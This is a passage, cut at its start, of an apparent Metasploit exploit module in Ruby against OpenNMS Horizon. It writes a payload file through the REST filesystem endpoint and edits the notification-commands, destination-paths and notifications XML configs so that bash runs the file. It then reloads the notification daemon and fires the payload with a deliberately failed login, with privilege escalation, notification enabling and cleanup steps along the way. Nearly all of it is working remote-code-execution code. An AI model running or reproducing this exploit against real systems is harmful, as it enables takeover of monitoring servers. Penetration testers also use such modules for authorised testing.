'filesystem', 'contents'),<br /> 'vars_get' => { 'f' => file_name },<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'keep_cookies' => true,<br /> 'data' => post_data.to_s<br /> })<br /><br /> unless res<br /> return deal_with_failure_by_mode(mode, "Connection failed while attempting to upload the #{file_name} file", 'disconnected')<br /> end<br /><br /> unless res.code == 200 && res.body.include?('Successfully wrote to')<br /> return deal_with_failure_by_mode(mode, "Unexpected response received while attempting to upload the #{file_name} file", 'unexpected_reply')<br /> end<br /><br /> [true]<br /> end<br /><br /> def find_element_via_at_css(file_name)<br /> if [destination_paths_file, notifications_file].include?(file_name)<br /> return false<br /> end<br /><br /> true<br /> end<br /><br /> # This method is used to edit an XML configuration file<br /> #<br /> # @param file_name [String] The name of the file to edit<br /> # @param root_element [String] The name of the root element in the XML file<br /> # @param element [String] The name of the element to edit in the XML file<br /> def edit_xml_config_file(file_name, root_element, element)<br /> # First we need to get the current #{file_name} file, so we can edit our #{element_name} in it<br /> _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')<br /><br /> # update the xml document with a new element<br /> new_value = Rex::Text.rand_text_alpha(8..12)<br /> case file_name<br /> when notification_commands_file<br /> xml_doc = add_notification_command(xml_doc, new_value)<br /> when destination_paths_file<br /> xml_doc = add_destination_path(xml_doc, new_value)<br /> when notifications_file<br /> xml_doc = add_notification(xml_doc, new_value)<br /> end<br /><br /> # upload the edited #{file_name} file via the filesystem endpoint<br /> upload_xml_config_file(file_name, generate_post_data(file_name, xml_doc.to_xml(indent: 3)), 'exploit')<br /><br /> # generate global variables for cleanup<br /> case file_name<br /> when notification_commands_file<br /> @notification_command_name = new_value<br /> when destination_paths_file<br /> @destination_path_name = new_value<br /> when notifications_file<br /> @notification_name = new_value<br /> end<br /><br /> # Get the #{file_name} file again to make sure our #{element_name} was edited<br /> _success, xml_doc = grab_and_parse_xml_config_file(file_name, root_element, element, 'exploit')<br /><br /> # Check if our #{element_name} was edited<br /> if find_element_via_at_css(file_name)<br /> full_element = xml_doc.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == new_value }<br /> else<br /> full_element = xml_doc.at_css(root_element).css(element).find { |e| e['name'] == new_value }<br /> end<br /><br /> if full_element.blank?<br /> fail_with(Failure::UnexpectedReply, "Failed to verify that the #{file_name} file was successfully edited")<br /> end<br /><br /> print_status("Successfully edited #{file_name}")<br /> end<br /><br /> # This method is used to add a notification command to a Nokogiri XML document<br /> #<br /> # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification command to<br /> # @param notification_command_name [String] The name of the notification command to add<br /> # @return [Nokogiri::XML::Document] The updated XML document<br /> def add_notification_command(xml_doc, notification_command_name)<br /> # A notification command is a command that gets executed when a notification is triggered. We can use this to execute our payload.<br /><br /> # Update the xml document with a new notification command<br /> notification_comment = Rex::Text.rand_text_alpha(6..10)<br /><br /> notification_command = xml_doc.create_element('command', 'binary' => 'true') # Change binary attribute value if needed<br /> name = xml_doc.create_element('name', notification_command_name)<br /> execute = xml_doc.create_element('execute', '/usr/bin/bash')<br /> comment = xml_doc.create_element('comment', notification_comment)<br /> argument = xml_doc.create_element('argument', 'streamed' => 'false')<br /> argument_switch = xml_doc.create_element('substitution', "/usr/share/opennms/etc/#{@payload_file_name}")<br /> argument.add_child(argument_switch)<br /><br /> notification_command.add_child(name)<br /> notification_command.add_child(execute)<br /> notification_command.add_child(comment)<br /> notification_command.add_child(argument)<br /> xml_doc.at_css('notification-commands').add_child(notification_command)<br /><br /> xml_doc<br /> end<br /><br /> # This method is used to add a destination path to a Nokogiri XML document<br /> #<br /> # @param xml_doc [Nokogiri::XML::Document] The XML document to add the destination path to<br /> # @param destination_path_name [String] The name of the destination path to add<br /> # @return [Nokogiri::XML::Document] The updated XML document<br /> def add_destination_path(xml_doc, destination_path_name)<br /> # A destination path points to a specific group or user that will receive a notification when a notification is triggered.<br /> # It also indicates which notification command should be executed when the notification is triggered.<br /> # We need to add a destination path that points to our notification command so that it gets executed when a notification is triggered.<br /><br /> # Update the xml document with a new destination path<br /> destination_path = xml_doc.create_element('path', 'name' => destination_path_name)<br /> target = xml_doc.create_element('target')<br /> name = xml_doc.create_element('name', 'Admin')<br /> command = xml_doc.create_element('command', @notification_command_name)<br /> target.add_child(name)<br /> target.add_child(command)<br /> destination_path.add_child(target)<br /> xml_doc.at_css('destinationPaths').add_child(destination_path)<br /><br /> xml_doc<br /> end<br /><br /> # This method is used to add a notification to a Nokogiri XML document<br /> #<br /> # @param xml_doc [Nokogiri::XML::Document] The XML document to add the notification to<br /> # @param notification_name [String] The name of the notification to add<br /> # @return [Nokogiri::XML::Document] The updated XML document<br /> def add_notification(xml_doc, notification_name)<br /> # A notification is triggered when a specific event occurs, and can be configured to call a specific destination path.<br /> # We need to add a notification that will trigger our destination path so that our notification command gets executed.<br /><br /> # Update the xml document with a new notification that will be triggered when a user fails to authenticate<br /> # since that is something we can easily trigger ourselves<br /> notification_message = Rex::Text.rand_text_alpha(6..10)<br /><br /> notification = xml_doc.create_element('notification', 'name' => notification_name, 'status' => 'on')<br /> uei = xml_doc.create_element('uei', 'uei.opennms.org/internal/authentication/failure')<br /> # We need to add a rule for the IP. Let's use a negative comparison with a non-routable IP, which will always work (see RFC 5737)<br /> rule = xml_doc.create_element('rule', "IPADDR != '192.0.2.#{rand(0..255)}'")<br /> destination_path = xml_doc.create_element('destinationPath', @destination_path_name)<br /> text_message = xml_doc.create_element('text-message', notification_message)<br /> notification.add_child(uei)<br /> notification.add_child(rule)<br /> notification.add_child(destination_path)<br /> notification.add_child(text_message)<br /> xml_doc.at_css('notifications').add_child(notification)<br /><br /> xml_doc<br /> end<br /><br /> # This method is used to remove an element from an XML configuration file<br /> #<br /> # @param file_name [String] The name of the file to remove the element from<br /> # @param root_element [String] The name of the root element in the XML file<br /> # @param element [String] The name of the element to remove from the XML file<br /> # @param element_to_remove [String] The name of the element to remove from the XML file<br /> def revert_xml_config_file(file_name, root_element, element, element_to_remove)<br /> # First we need to get the current #{file_name} file, so we can remove our #{element_name} from it<br /> success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')<br /> unless success<br /> print_error(xml_doc_or_msg)<br /> return<br /> end<br /><br /> begin<br /> if find_element_via_at_css(file_name)<br /> full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e.at_css('name')&.text == element_to_remove }<br /> else<br /> full_element = xml_doc_or_msg.at_css(root_element).css(element).find { |e| e['name'] == element_to_remove }<br /> end<br /><br /> unless full_element.present?<br /> print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required")<br /> return<br /> end<br /><br /> full_element.remove<br /> rescue Nokogiri::XML::SyntaxError<br /> print_error("Failed to parse the #{file_name} file while attempting to remove #{element_to_remove}. Manual cleanup is required.")<br /> return<br /> end<br /><br /> # generate post data<br /> post_data = generate_post_data(file_name, xml_doc_or_msg.to_xml(indent: 3))<br /><br /> success, message = upload_xml_config_file(file_name, post_data, 'cleanup')<br /> unless success<br /> print_error(message)<br /> return<br /> end<br /><br /> # Get the #{file_name} file again to make sure our #{element_name} was removed<br /> success, xml_doc_or_msg = grab_and_parse_xml_config_file(file_name, root_element, element, 'cleanup')<br /> unless success<br /> print_error(xml_doc_or_msg)<br /> return<br /> end<br /><br /> # Check if our #{element_name} was removed<br /> if xml_doc_or_msg.at_css(root_element).css(element).map { |e| e.at_css('name')&.text }.include?(element_to_remove)<br /> print_error("Failed to remove #{element_to_remove} from #{file_name}. Manual cleanup is required.")<br /> else<br /> vprint_status("Successfully removed #{element_to_remove} from #{file_name}")<br /> end<br /> end<br /><br /> # This method is used to trigger a reload of the OpenNMS configuration<br /> #<br /> # @param mode [String] The mode to use: exploit or cleanup<br /> # @return [Array] An array containing a boolean and a message<br /> def update_configuration(mode)<br /> # We need to update the configuration in order for our changes to take effect<br /> xml_doc = Nokogiri::XML::Builder.new do |xml|<br /> xml.event('xmlns' => 'http://xmlns.opennms.org/xsd/event') do<br /> xml.uei('uei.opennms.org/internal/reloadDaemonConfig')<br /> xml.source('perl_send_event')<br /> xml.time(Time.now.strftime('%Y-%m-%dT%H:%M:%S%:z'))<br /> xml.host(Rex::Text.rand_text_alpha(8..12))<br /> xml.parms do<br /> xml.parm do<br /> xml.parmName('daemonName')<br /> xml.value('Notifd', { 'type' => 'string', 'encoding' => 'text' })<br /> end<br /> end<br /> end<br /> end<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'events'),<br /> 'ctype' => 'application/xml',<br /> 'keep_cookies' => true,<br /> 'data' => xml_doc.to_xml(indent: 3)<br /> })<br /><br /> unless res<br /> message = 'Connection failed while attempting to update the configuration.'<br /> message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'<br /> return deal_with_failure_by_mode(mode, message, 'disconnected')<br /> end<br /><br /> unless res.code == 202<br /> message = 'Received unexpected response while attempting to update the configuration.'<br /> message += ' The cleanup changes have not been applied, but will be at the next config reload.' if mode == 'cleanup'<br /> return deal_with_failure_by_mode(mode, message, 'unexpected_reply')<br /> end<br /><br /> [true, 'Successfully updated the configuration']<br /> end<br /><br /> # This method is used to write the payload to a .bsh file and trigger the notification<br /> #<br /> # @param cmd [String] The command to execute<br /> def write_payload_to_bsh_file(cmd)<br /> # We need to write our payload to a .bsh file so that it can be executed by the notification command<br /><br /> post_data = generate_post_data(@payload_file_name, cmd)<br /><br /> res1 = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),<br /> 'vars_get' => { 'f' => @payload_file_name },<br /> 'ctype' => "multipart/form-data; boundary=#{post_data.bound}",<br /> 'keep_cookies' => true,<br /> 'data' => post_data.to_s<br /> })<br /><br /> unless res1<br /> fail_with(Failure::Disconnected, 'Connection failed while attempting to upload the payload file')<br /> end<br /><br /> unless res1.code == 200 && res1.body.include?('Successfully wrote to')<br /> fail_with(Failure::UnexpectedReply, 'Failed to upload the payload file')<br /> end<br /><br /> # Get the payload file again to make sure it was uploaded successfully<br /> res2 = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),<br /> 'vars_get' => { 'f' => @payload_file_name },<br /> 'keep_cookies' => true<br /> })<br /><br /> unless res2<br /> fail_with(Failure::Disconnected, 'Connection failed while attempting to obtain the current payload file')<br /> end<br /><br /> unless res2.code == 200 && res2.body == cmd<br /> fail_with(Failure::UnexpectedReply, 'Failed to verify that the payload file was successfully uploaded')<br /> end<br /><br /> print_good("Successfully uploaded the payload to #{@payload_file_name}")<br /> @payload_written = true<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> # Write the payload to a .bsh file<br /> write_payload_to_bsh_file(cmd)<br /><br /> print_status('Triggering the notification to execute the payload')<br /> # Trigger the notification by performing a login attempt using random credentials<br /> success, message = opennms_login('exploit', perform_invalid_login: true)<br /> if success<br /> print_status(message)<br /> else<br /> print_error(message)<br /> end<br /> end<br /><br /> # Horizon installs with notifications globally disabled by default. This exploit depends on notification being enabled<br /> # in order to obtain RCE. If notifications are disabled a user with administrative privileges is able to turn them on.<br /> # https://docs.opennms.com/horizon/30/operation/notifications/getting-started.html<br /> def ensure_notifications_enabled<br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'index.jsp'),<br /> 'keep_cookies' => true<br /> })<br /> fail_with(Failure::UnexpectedReply, 'Failed to determine if notifications were enabled') unless res<br /><br /> if res.get_html_document.xpath('//i[contains(@title, \'Notices: On\')]').empty?<br /> vprint_status('Notifications are not enabled, meaning the target is not exploitable as is. Enabling notifications now...')<br /> res2 = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'updateNotificationStatus'),<br /> 'keep_cookies' => true,<br /> 'vars_post' => {<br /> 'status' => 'on'<br /> }<br /> })<br /> fail_with(Failure::UnexpectedReply, 'Failed to enable notifications') unless res2 && res2.redirect? && res2.redirection.to_s.end_with?('/index.jsp')<br /> end<br /> vprint_good('Notifications are enabled')<br /> end<br /><br /> def exploit<br /> # Check if we need to escalate privileges<br /> if @highest_priv && @highest_priv != 'GOD'<br /> # This is not performed if the user has set FORCEEXPLOIT to true. In that case we'll just start the exploit chain and hope for the best.<br /> _success, msg = escalate_or_deescalate_privs<br /> print_good(msg) if msg.present? # _success will always be true here, otherwise we would have failed already<br /> end<br /> # Let's make sure we have a valid session by clearing the cookie jar and logging in again<br /> # This will also ensure that any new privileges we may have added are applied<br /> cookie_jar.clear<br /> _success, message = opennms_login('exploit')<br /> vprint_status(message) # _success will always be true here, otherwise we would have failed already<br /><br /> # Check to ensure Notifications are turned on. If they are disabled, enable them.<br /> ensure_notifications_enabled<br /><br /> # Generate a random payload file name<br /> @payload_file_name = "#{Rex::Text.rand_text_alpha(8..12)}.bsh".downcase<br /><br /> # Add a notification command<br /> edit_xml_config_file(notification_commands_file, 'notification-commands', 'command')<br /><br /> # Add a destination path<br /> edit_xml_config_file(destination_paths_file, 'destinationPaths', 'path')<br /><br /> # Add a notification<br /> edit_xml_config_file(notifications_file, 'notifications', 'notification')<br /><br /> # Update the configuration changes we made<br /> update_configuration('exploit')<br /><br /> # Write the payload and trigger the notification<br /> execute_command(payload.encoded)<br /> end<br /><br /> def cleanup<br /> return if [@payload_file_name, @notification_name, @destination_path_name, @notification_command_name, @role_to_add].all?(&:blank?)<br /><br /> print_status('Attempting cleanup...')<br /> # to be on the safe side, we'll clear the cookie jar and log in again<br /> cookie_jar.clear<br /> success, message = opennms_login('cleanup')<br /> if success<br /> vprint_status(message)<br /> else<br /> print_error(message)<br /> return<br /> end<br /><br /> # Delete the payload file<br /> if @payload_file_name.present? && @payload_written<br /> res = send_request_cgi({<br /> 'method' => 'DELETE',<br /> 'uri' => normalize_uri(target_uri.path, 'rest', 'filesystem', 'contents'),<br /> 'vars_get' => { 'f' => @payload_file_name },<br /> 'keep_cookies' => true<br /> })<br /><br /> unless res<br /> print_error("Connection failed while attempting to delete the payload file #{@payload_file_name}. Manual cleanup is required.")<br /> return<br /> end<br /><br /> unless res.code == 200 && res.body.include?('Successfully deleted')<br /> print_error("Failed to delete the payload file #{@payload_file_name}. Manual cleanup is required.")<br /> return<br /> end<br /><br /> vprint_good("Successfully deleted the payload file #{@payload_file_name}")<br /> end<br /><br /> # Delete the notification<br /> revert_xml_config_file(notifications_file, 'notifications', 'notification', @notification_name) if @notification_name.present?<br /><br /> # Delete the destination path<br /> revert_xml_config_file(destination_paths_file, 'destinationPaths', 'path', @destination_path_name) if @destination_path_name.present?<br /><br /> # Delete the notification command<br /> revert_xml_config_file(notification_commands_file, 'notification-commands', 'command', @notification_command_name) if @notification_command_name.present?<br /><br /> # Update the configuration changes we made<br /> success, message = update_configuration('cleanup')<br /> if success<br /> vprint_status(message)<br /> else<br /> print_error(message)<br /> end<br /><br /> # Revert the privilege escalation if necessary<br /> if @role_to_add.present?<br /> success, message = escalate_or_deescalate_privs(deescalate: true)<br /> if success<br /> vprint_status(message)<br /> else<br /> print_error(message)<br /> end<br /> end<br /> end<br />end<br /></code></pre>